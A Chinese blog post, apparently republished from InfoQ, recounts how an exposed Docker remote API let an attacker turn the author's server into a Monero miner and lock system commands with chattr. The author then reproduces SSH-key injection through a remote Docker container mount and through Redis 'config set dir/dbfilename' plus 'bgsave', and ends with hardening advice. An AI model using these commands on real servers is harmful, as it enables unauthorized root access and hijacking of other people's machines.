做一次黑客,入侵一次服务器

前言

前两天刚买了个腾讯服务器(CVM),这次登陆上去的时候特别卡,通过 top 发现负载特别高,因为是刚搭建的环境,也没有运行什么应用程序,所以我觉得这有点不正常。

我就想着把 docker、mysql 的后台服务停了,然后再观察一下负载能不能降下来,结果我发现常用的命令都无法使用了。

后来发现是 docker 远程服务入侵,所以就利用 docker 远程服务和 redis 服务,模拟入侵了一次自己的服务器。

问题还原

又是平平淡淡似往常的一天,当我使用 systemctl 命令想停掉后台服务的时候,才发现我居然没有执行权限。

之前从没遇到过这种情况,在我的认知里,root 就是最高的存在。

先求助了一波客服,客服说是被入侵了,让我重装系统。在重装前,又求助了我亲爱的大学舍友,一安全大佬:冯胖,不!是冯佬。

问题分析

:冯啊,我这个 systemctl 不能用了,咋回事啊?

:我上去给你看看也。

A few moments later….

:你这个 2375 端口是啥服务,有没有开启远程服务之类的。。。

:这,这不是我前两天刚开的 docker 远程服务么。。。

:那就对了,通过 docker 远程服务器入侵了你的服务器,然后再利用 masscan 扫描其他服务器的 docker 远程服务服务,然后进行入侵。你这是「被远程入侵当做矿机了」,具体信息去/usr/share 目录看看就知道了

接着我去这个目录看了一下。

打开 config_background.json 文件看了一下,果不其然,monero:门罗币。

config.json

:他是怎么登录我的服务器呢?

:你忘了 docker 可以挂载主机目录么,挂载.ssh 目录,然后把他的「主机公钥直接放到 authorized_keys 中,不就可以免密登录了吗」

恍然大悟!!!我去看了看,果然多了一个 puppet 的公钥,

authorized_key

同时,home 下也多了一个用户目录。

:最后一个问题,我用 root 用户,为什么很多命令都无法执行?

:先用 chmod 将命令修改为读写状态,这样就无法执行了。再用 chattr 将命令属性修改为只读,这样 chmod 就无法修改此命令权限了。

:那我去查查资料….

查完资料后,我操作试了试。

如图,这里拿 ls 举例。根据 421 规则,1 代表执行权限,我先将 ls 权限修改为 666,即只有读写权限,没有执行权限。其中 lsattr 用来查看文件属性,chattr 修改文件属性,也可以理解为比 chmod 管理更底层的文件权限的一个命令。

chattr +i 就是让 ls 只有只读属性,从图中可以看出这时候 ls 就已经无法执行,使用 lsattr 也看到 ls 多了个 i 属性,这时候我打算用 chmod 将其修改为 755,即可执行状态,这时候却提示没有权限。

接着我使用 chattr -i 去掉 ls 只读属性,就可以使用 chmod 将其修改为 755 可执行状态了,如图,ls 正常执行。

:可是为什么我连 chattr 命令都没有执行权限?

:……

:大哥!!!

:复制一个 chattr,起个别名,然后用新的命令将 chattr 也修改成只读,然后删除命令的不就行了

:不愧是我冯…

:周末去哪吃

:…..

ssh 公钥注入实现提权

通过查阅一些资料,原理就是通过一些服务端口,将自己主机的公钥写入到靶机,实现免密登录,获取靶机 root 用户权限。

关于 ssh 公钥之前也讲过。就是将 A 主机的公钥,拷贝到 B 主机~/.ssh 目录下的 authorized_keys 文件中,即可建立互信实现免密登录,即 A 主机登录 B 主机将不需要输入密码。

而入侵者通过 docker 远程服务和 redis 的快照功能,将某台主机的公钥写入到 authorized_keys,而免密登录目标主机,获取 root 权限的行为,就是 ssh 公钥提权。

之前只听过 sql 注入、DDoS 攻击。对于这种可以直接登录服务器进行操作的还是第一次遇见,所以我就拿自己的服务器实验一下,反正一会儿都要重装系统了。

这里准备了两台服务器,A 主机用来运行 docker 的远程服务和 redis 服务,B 主机用来远程连接。

docker 远程服务入侵

其原理是利用 docker 的远程服务,可以远程在靶机上起一个 docker 容器,并将靶机.ssh 目录挂载到容器中,然后进入 docker 的 bash,直接将公钥写入到 authorized_keys 中。

开启远程端口

默认端口是 2375,为了防止被其他机器扫到,所以这里先修改成 6666。

远程连接 docker

登录 B 主机并执行下面命令,即可查看远程主机运行了哪些容器。

docker -H tcp://47.102.xxx.xxx:6666 ps -a

平时我们都是使用 docker ps 来查看本机运行的容器,这里使用-H,指定 A 主机的 IP 和端口,即可以查看远程主机的。

接着我们看看这台主机上有什么镜像:

远程运行容器

在 B 主机上执行以下命令,即可在 B 主机上远程使用 A 主机上的镜像,在 A 主机上运行一个容器。

# 挂载/etc/ssh目录是为了修改sshd_config中PermitRootLogin为yes,允许root登录
# 默认是允许root登录的,所以没对/etc/ssh/sshd_config进行修改
docker -H tcp://47.102.xxx.xxx:6666 run -it -v /root:/tmp/root -v /etc/ssh:/tmp/ect/ssh centos bash 

通过-v 将/root/.ssh 目录挂载到容器中的/tmp/root 目录下,那么在容器中就可以直接修改 A 主机上的 authorized_keys,这里我只要将 B 主机的公钥添加进去,B 主机就可以免密登录 A 主机了。

运行容器

如图,创建并运行了一个容器后,直接通过 bash 进入了容器。

写入公钥,实现入侵登陆

在容器中,查看 authorized_keys 文件的内容。

如图,目前 authorized_keys 只有一个公钥,我们通过 vi 将 B 主机的公钥添加进去,wq 保存退出。

接着测试一下是否可以免密登录。

如图,B 主机到 A 主机成功免密登录。

redis 动态配置入侵

其原理是利用 redis 的「RDB 快照备份和命名行 config 命令动态修改配置功能」,将 RDB 的保存目录修改成.ssh,文件名修改成 authorized_keys。然后将公钥作为 value 写入 redis,并使用 bgsave 命令开始备份,则将公钥成功写入到 authorized_keys,实现免密登录。

前提条件

  1. 使用 root 用户运行的 redis
  2. 没有设置密码
  3. 使用默认的 6379 端口
  4. 允许远程 IP 访问,即注释掉 bind 配置以及将 protected mode 修改为 no
  5. 没有禁止动态修改配置功能

启动 redis

这里在 A 主机启动了 redis 服务,允许远程访问,并将端口修改为 6666.

./redis-server ../conf/redis.conf

远程连接 redis

登录 B 主机,远程连接 A 主机的 redis 服务。

./redis-cli -h 47.102.xxx.xxx -p 6666

写入公钥,实现入侵登陆

如图,先拷贝 B 主机的公钥,为了在写到 authorized_keys 后公钥能占单独一行,所以前后都进行了换行。

然后执行以下命令,通过 redis-cli 将 B 主机公钥写入 redis 中。

cat id_das.pub | ./redis-cli -h 47.102.xxx.xxx -p 6666 -x set ssh-key

其中,-h:指定 A 主机的 IP, -p:指定 redis 的端口,-x:将标准输入作为后面命令的参数

将公钥写入 redis 之后,再通过动态配置来修改 RDB 的目录和文件名。

# 修改存储目录
config set dir /root/.ssh
# 修改rbd的文件名
config set dbfilename authorized_keys
# 立即将数据保存到文件中
bgsave



接着到 A 主机查看公钥是否已经写入到 authorized_keys 中。

如图,B 主机公钥写入成功,最后也是成功免密登录。

这时候可能会有人问,这是啥,authorized_keys 中又是问号又是其他字符的,不会影响登陆吗?

其实,这算是 RDB 文件的格式,所以为了不影响公钥,之前我也在公钥文件中前后都添加了换行,这样就可以让公钥独占一行,从而不影响免密登录。

预防措施

docker

  1. 修改 2375 默认端口
  2. 远程服务添加认证
  3. 或者直接不开放远程服务

redis

  1. 修改 6379 默认端口
  2. 使用非 root 用户运行 redis
  3. 通过 requirepass 来设置密码
  4. 禁止使用动态配置
# 在redis.conf中添加如下配置
rename-command CONFIG ""

这样,在命令行就无法使用 config 命令进行动态配置。

结语

上面通过 redis 和 docker 来获取主机权限的手段,可能真实的场景要更复杂地多,对安全大佬更是不值一提,但是对于我这种安全零基础的人来说,遇到还是很新奇的,所以通过文章记录了一下此次经历,也当做一次颇为有趣的体验。

本文作者: InfoQ

余下全文(1/3)
分享这篇文章:

请关注我们:

共有 1 条讨论

  1. admin  这篇文章, 并对这篇文章的反应是俺的神呀赞一个

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注